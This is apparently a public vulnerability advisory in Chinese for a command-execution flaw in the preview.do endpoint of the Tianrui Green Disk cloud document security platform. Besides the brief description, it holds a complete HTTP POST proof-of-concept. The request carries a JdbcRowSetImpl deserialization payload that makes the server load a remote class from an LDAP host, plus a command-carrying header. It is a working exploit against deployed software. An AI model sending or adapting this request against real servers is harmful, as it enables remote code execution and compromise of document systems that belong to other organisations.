天锐绿盘云文档安全管理平台 /lddsm/service/../admin/waterMarkConfig/preview.do 命令执行漏洞

2026-02-25 天锐绿盘云文档安全管理平台 PoC Public

Description

天锐绿盘云文档安全管理平台在 /lddsm/service/../admin/waterMarkConfig/preview.do 接口存在命令执行漏洞。该接口在处理 paramObj 参数时存在不安全的反序列化问题，攻击者可构造包含恶意类型（如 JdbcRowSetImpl）的 JSON 数据，通过 JNDI 注入触发远程类加载，从而实现远程代码执行。同时接口路径存在目录穿越特征（../），可能绕过部分访问控制策略。攻击者无需复杂权限即可通过构造特定请求在服务器端执行任意命令。

PoC

POST /lddsm/service/../admin/waterMarkConfig/preview.do HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 644
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: echo b892b76aC07Cf8c5
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="oldWmId"

1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="paramObj"

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.org/A4","autoCommit":true}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="picClearFlag"

1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

1
------WebKitFormBoundary7MA4YWxkTrZu0gW--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Tianrui Green Disk Cloud Document Security Management Platform /lddsm/service/../admin/waterMarkConfig/preview.do Command Execution Vulnerability

References

Related Vulnerabilities